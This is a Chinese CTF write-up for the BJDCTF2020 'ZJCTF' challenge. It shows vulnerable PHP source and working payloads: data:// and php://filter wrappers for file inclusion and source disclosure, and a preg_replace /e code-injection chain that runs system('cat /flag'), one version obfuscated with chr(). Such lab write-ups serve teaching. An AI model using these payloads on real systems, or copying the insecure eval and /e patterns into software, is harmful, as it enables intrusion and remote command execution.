【BJDCTF2020】ZJCTF,不过如此

Itachi

[BJDCTF2020]ZJCTF,不过如此

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

这题和19年一道很像,这里提供其他解法(data://
payload 1
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
payload 2(同上base64)
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
payload 3
?text=data:text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
payload 4(同上base64)
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

next.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里的 preg_replace /e 会产生漏洞,当 $str=${getFlag()} 的时候可以调用该函数并执行命令
有个细节需要注意,这里执行的代码其实是 strtolower(\\1) ,也就是 '/('.$re.')/' ,也就是 $str ,由于 php 可变变量的原因,这里应该是 ${getFlag()}{${getFlag()}}
另外就是全部匹配不能是 .*,因为 . 为传参的首字母会被转化为 _ ,所以要用 \S 比较好
payload
/next.php?\S*=${getFlag()}&cmd=system("ls%20/");
img
拿flag:/next.php?\S*=${getFlag()}&cmd=system("cat%20/flag");
img

payload 2

在网上看到一种不用调用 getFlag() 的方法
?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
img
既然能执行命令,那就可以直接拿flag,这里用 chr() 绕过

  • 标题: 【BJDCTF2020】ZJCTF,不过如此
  • 作者: Itachi
  • 创建于 : 2021-12-29 16:18:40
  • 更新于 : 2021-12-29 19:03:51
  • 链接: https://blog.tarchi.top/ctf/【BJDCTF2020】ZJCTF,不过如此/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
【BJDCTF2020】ZJCTF,不过如此